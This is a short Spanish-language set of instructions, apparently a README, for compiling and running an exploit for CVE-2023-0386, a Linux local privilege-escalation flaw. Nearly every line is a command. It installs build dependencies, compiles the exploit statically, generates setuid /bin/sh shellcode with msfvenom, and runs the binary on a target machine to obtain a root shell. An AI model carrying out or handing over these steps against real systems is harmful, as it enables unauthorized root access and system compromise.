
CVE-2023-0386 incluye las bibliotecas de ejecución necesarias
Instalar el entorno de compilación
sudo apt install -y gcc libfuse-dev pkg-config
Compilar el exploit
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
Generar shellcode
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf
xxd -i -c 8 shellcode.elf
Ejecutar en el objetivo, no es necesario que el objetivo tenga instalado gcc ni otros entornos
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp